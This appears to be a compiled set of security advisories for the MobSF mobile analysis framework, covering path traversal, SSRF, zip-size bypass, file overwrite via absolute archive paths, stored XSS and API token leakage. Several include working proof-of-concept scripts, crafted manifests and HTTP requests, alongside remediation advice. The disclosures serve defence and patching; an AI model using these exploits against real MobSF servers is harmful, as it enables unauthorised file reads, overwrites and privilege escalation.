See how mobsf compares to other vendors in security performance
Summary The findiconpathzip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.
An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWDDIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWEDEXTENSIONS.
Details elif iconpath.startswith(('res/', '/res/')): strippedrelativepath = iconpath.strip('/res') # Works for neither /res nor res fullpath = os.path.join(resdir, strippedrelativepath) if os.path.exists(fullpath): return fullpath fullpath += '.png' if os.path.exists(fullpath): return fullpath https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L126
This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWDDIR/<md5>-icon.<ext>: iconfile = findiconpathzip( appdic['md5'], respath, iconfrommfst) if iconfile and Path(iconfile).exists(): dwd = Path(settings.DWDDIR) out = dwd / (appdic['md5'] + '-icon' + Path(iconfile).suffix) copy2(iconfile, out) appdic['iconpath'] = out.name https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/iconanalysis.py#L101
Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>
PoC The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt): import hashlib import io import zipfile
DEFAULTHOST = "http://localhost:8000" DEFAULTTARGET = "res/../../../signatures/maltrail-malware-domains.txt"
MANIFESTTEMPLATE = """\ <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.icontraversal"> <application android:icon="{target}" android:label="PoC App"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest> """
MAINACTIVITY = """\ package com.poc.icontraversal; import android.app.Activity; public class MainActivity extends Activity {} """
host = DEFAULTHOST target = DEFAULTTARGET host = host.rstrip("/")
crate ZIP buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIPDEFLATED) as zf: zf.writestr("AndroidManifest.xml", MANIFESTTEMPLATE.format(target=target)) zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAINACTIVITY) zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")
compute hash zipbytes = buf.getvalue() md5 = hashlib.md5(zipbytes).hexdigest()
write to disk outfile = "pocicontraversal.zip" with open(outfile, "wb") as f: f.write(zipbytes)
import os targetsuffix = os.path.splitext(target.strip("/res").split("/")[-1])[1] downloadfilename = f"{md5}-icon{targetsuffix}"
print(f"[+] ZIP created : {os.path.abspath(outfile)}") print(f"[+] Target file : {target}") print() print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI") print() print("[ Step 2 ] Wait for the scan to complete, then browse to:") print(f" {host}/download/{downloadfilename}")
Impact This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWEDEXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the iconpath field in the scan report (if the target does not exist the path will be empty).
Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.
Remediation This can fixed by using the ispathtraversal function to validate user input.
Summary
MobSF's Android App Link assetlinks checker validates only the manifest android:host value with validhost(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in validhost() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.
Impact
An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.
This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.
Root cause
validhost() rejects ports other than 80 and 443 when a port is included in the string being validated:
python port = parsed.port ... if port and port not in (80, 443): return False
In getbrowsableactivities(), only the host attribute is passed to validhost():
python host = data.getAttribute(f'{ns}:host') port = data.getAttribute(f'{ns}:port') ... if not validhost(host): logger.warning('Invalid Host: %s', host) continue shost = f'{scheme}://{host}' if port and isnumber(port): curl = f'{shost}:{port}{WELLKNOWNPATH}' else: curl = f'{shost}{WELLKNOWNPATH}' wellknown[curl] = shost
checkurl() then fetches the assembled URL after checking only path, query, and params:
python purl = urlparse(url) if (purl.path != WELLKNOWNPATH or len(purl.query) > 0 or len(purl.params) > 0): logger.warning('Invalid Assetlinks URL: %s', url) continue r = requests.get(url, timeout=5, allowredirects=False, proxies=proxies, verify=verify)
Reproduction
Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:
xml <activity android:name=".DeepLink" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.BROWSABLE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="http" android:host="rebind.example" android:port="22" /> </intent-filter> </activity>
A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:
text wellknown map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'} requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allowredirects': False, 'proxies': None, 'verify': True})] findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'statuscode': 200, 'status': True}] VULNERABLE: validhost validated only rebind.example, but assetlinkscheck fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json
The same code pattern is present in latest release v4.4.6 and current main.
Remediation
Validate the final URL after all manifest components have been applied. In particular:
1. Build curl, then run validation on the full URL, including scheme, hostname, port, path, query, and params. 2. Reject android:port values other than 80 and 443 before appending them to the URL. 3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step. 4. Keep allowredirects=False for the existing redirect mitigation.
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIPMAXUNCOMPRESSEDFILESIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in sharedfunc.py lines 153–182:
python Line 156: Size check if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through.
Line 161: Total size check (separate) if totalsize > settings.ZIPMAXUNCOMPRESSEDTOTALSIZE: raise Exception(msg)
Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.isdir(): continue else: fileinfo.externalattr = ...
Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(filepath, extpath) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
python #!/usr/bin/env python3 import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compresstype = zipfile.ZIPDEFLATED with zf.open(info, 'w') as f: for in range(450): f.write(b'\x00' (1024 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
bash curl -X POST http://127.0.0.1:8000/api/v1/upload \ -H "X-Mobsf-Api-Key: YOURKEY" \ -F "file=@poc.apk"
3. Trigger scan, then verify:
bash Log says "Skipping" but file exists on disk: grep "File too large" ~/.MobSF/debug.log ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK - The APK could come from a legitimate-looking package submitted for security review - Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists - Impact: disk exhaustion preventing further scans for other users
Remediation
Add continue after the size warning:
python if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) continue # ← ADD THIS LINE
Summary The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWDDIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWDDIR (e.g., .../downloadsbak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.
Details def issafepath(saferoot, checkpath): saferoot = os.path.realpath(os.path.normpath(saferoot)) checkpath = os.path.realpath(os.path.normpath(checkpath)) return os.path.commonprefix([checkpath, saferoot]) == saferoot commonprefix compares raw strings, not path components. For: saferoot = /home/mobsf/.MobSF/downloads checkpath = /home/mobsf/.MobSF/downloadsbak/test.txt the function returns True, incorrectly treating downloadsbak as inside downloads. Download handler: MobSF/views/home.py @loginrequired def download(request): root = settings.DWDDIR filename = request.path.replace('/download/', '', 1) dwdfile = Path(root) / filename # absolute 'filename' ignores 'root' if '../' in filename or not issafepath(root, dwdfile): return HttpResponseForbidden(...) ext = dwdfile.suffix if ext in settings.ALLOWEDEXTENSIONS and dwdfile.isfile(): return filedownload(dwdfile, ...) If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed issafepath then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.
Which file types are retrievable: Whatever is allowed by settings.ALLOWEDEXTENSIONS
PoC Prereqs: authenticated user; standard install. Assume: settings.DWDDIR = /home/mobsf/.MobSF/downloads Prepare a sibling directory with the same string prefix and a test file: mkdir -p /home/mobsf/.MobSF/downloadsbak echo "test" > /home/mobsf/.MobSF/downloadsbak/test.txt As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it): GET /download///home/mobsf/.MobSF/downloadsbak/test.txt HTTP/1.1 Host: <HOST> Cookie: sessionid=<YOURSESSION> Other working sibling directory names (if present): …/downloads.old/... …/downloadsbackup/... …/downloads1/... …/downloads-archive/... …/downloads 2024/... (URL-encoded space: downloads%202024) Impact Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWDDIR.
Summary The vulnerability allows any user to overwrite any files available under the account privileges of the running process.
Details As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).
Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).
The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.
What exactly is vulnerable: mobsf/StaticAnalyzer/views/common/sharedfunc.py Function for extracting objects from .a — arextract def arextract(checksum, src, dst): """Extract AR archive.""" ... ar = arpy.Archive(src) ar.readallheaders() for a, val in ar.archivedfiles.items(): # Handle archive slip attacks filtered = a.decode('utf-8', 'ignore') if ispathtraversal(filtered): msg = f'Zip slip detected. skipped extracting {filtered}' logger.warning(msg) appendscanstatus(checksum, msg) continue out = Path(dst) / filtered out.writebytes(val.read()) - The “slip” check is limited to ispathtraversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e. - Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.
arextract is called from: mobsf/StaticAnalyzer/views/common/a.py def extractngetfiles(checksum, src, dst): dst = Path(dst) / 'staticobjects' dst.mkdir(parents=True, existok=True) arextract(checksum, src, dst.asposix()) The expectation is that extraction happens only under the staticobjects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.
Attack Scenario 1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism. 2. It downloads this one via the web interface or the Static library loading API .a in MobSF. 3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory. 4. In our case, the database file was overwritten, which caused MobSF to malfunction. PoC 1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3" <img width="786" height="342" alt="image" src="https://github.com/user-attachments/assets/0b7aee5c-6938-45cc-b668-9ad19f48c2c5" />
2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet. <img width="2535" height="1507" alt="image" src="https://github.com/user-attachments/assets/0cc92da7-91c0-453f-b1ed-080c9cfaa7f1" />
3. Upload the file for scanning and then update the page to get a server error. <img width="2559" height="1476" alt="image" src="https://github.com/user-attachments/assets/a5b84ace-b853-46ad-9e2e-afad59ed058a" />
4. Check the file structure after scanning and see that the file has been overwritten. <img width="797" height="213" alt="image" src="https://github.com/user-attachments/assets/758ba3da-ae25-4c8d-bd8b-932573ca2306" />
5. There is a database error in the MobSF log. <img width="1724" height="1476" alt="image" src="https://github.com/user-attachments/assets/cd4211b1-2896-45e0-9934-9425b6035f2a" />
Impact 1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs). 2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports. 3. Implementation of a system malfunction (overwriting the db.sqlite3 file). 4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template. 5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).
Mitigation Reject absolute paths and normalize before writing.
Please, assign all credits to Vasily Leshchenko (Solar AppSec)
Product: MobSF Version: < 4.3.1 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.4.0: 8.5 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) Description: Stored XSS in the iOS Dynamic Analyzer functionality. Impact: Leveraging this vulnerability would enable performing actions as users, including administrative users. Vulnerable component: dynamicanalysis.html https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406 Exploitation conditions: A malicious application was uploaded to the Correlium. Mitigation: Use escapeHtml() function on the bundle variable. Researcher: Oleg Surnin (Positive Technologies)
Research Researcher discovered zero-day vulnerability Stored Cross-site Scripting (XSS) in MobSF in iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the dynamicanalysis.html file you do not sanitize received bundle value from Corellium https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406
<img width="1581" alt="image" src="https://github.com/user-attachments/assets/8400f872-46c0-406c-9dd6-97655e499b75" />
Figure 1. Unsanitized bundle
As a result, it is possible to break the HTML context and achieve Stored XSS.
Vulnerability reproduction
To reproduce the vulnerability, follow the steps described below.
• Unzip the IPA file of any iOS application. Listing 1. Unzipping the file unzip test.ipa • Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.
<img width="560" alt="image-1" src="https://github.com/user-attachments/assets/3eedf216-45ab-4d73-9815-6b02827d36d4" />
Figure 2. Example of the modified Bundle Identifier
• Zip the modified IPA file.
Listing 2. Zipping the file zip -r xss.ipa Payload/ • Upload the modified IPA file to your virtual device using the Correlium platform. <img width="762" alt="image-2" src="https://github.com/user-attachments/assets/7f3e8b0d-d1f9-4d86-b63b-9b3f9e8f1d0c" />
Figure 3. Example of the uploaded malicious application
• Open the XSS functionality and hover the mouse over the Uninstall button of the malicious app.
<img width="764" alt="image-3" src="https://github.com/user-attachments/assets/fd621574-f2c1-42be-b30a-e8e7445c6b13" />
Figure 4. Example of the 'Uninstall' button
<img width="652" alt="image-4" src="https://github.com/user-attachments/assets/73526f71-6d39-4a94-98bf-8a867aa9acc7" /> Figure 5. Example of the XSS <img width="460" alt="image-5" src="https://github.com/user-attachments/assets/13e6a1fc-59be-492d-8e42-a5a8010fc4c3" />
Figure 6. Example of the vulnerable code
Please, assign all credits to: Oleg Surnin (Positive Technologies)
Product: Mobile Security Framework (MobSF) Version: 4.3.0 CWE-ID: CWE-269: Improper Privilege Management CVSS vector v.4.0: 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Description: MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges. Impact: Information Disclosure Vulnerable component: Code output component (/sourcecode) Exploitation conditions: authorized user Mitigation: Remove token output in the returned js-script Researcher: Egor Filatov (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF). To reproduce the vulnerability follow the steps below.
• A user with minimal privileges is required, so the administrator must create a user account
<img width="215" alt="fig1" src="https://github.com/user-attachments/assets/43e02a50-bdd9-48d9-9194-73946fcc56d9" />
Figure 1. Registration
• Go to static analysis of any application
<img width="1207" alt="fig2" src="https://github.com/user-attachments/assets/9ed141a7-a667-4a96-81fd-d81127874104" /> Figure 2. Static analysis
• Go to the code review of the selected application and get a token with all privileges in the response
<img width="1400" alt="fig3" src="https://github.com/user-attachments/assets/bf8b704b-9067-4861-a7d3-05ec119d9a3f" /> Figure 3. Token receiving
• This token can be used to retrieve dynamic analysis information that has not been accessed before.
!fig4 Figure 4. No access demonstration
<img width="1412" alt="fig5" src="https://github.com/user-attachments/assets/dc8f639f-36b0-47d3-807d-58ae551fcbfc" /> Figure 5. Token usage
As a result, the user is able to escalate the privileges.
Please, assign all credits to: Egor Filatov (Positive Technologies)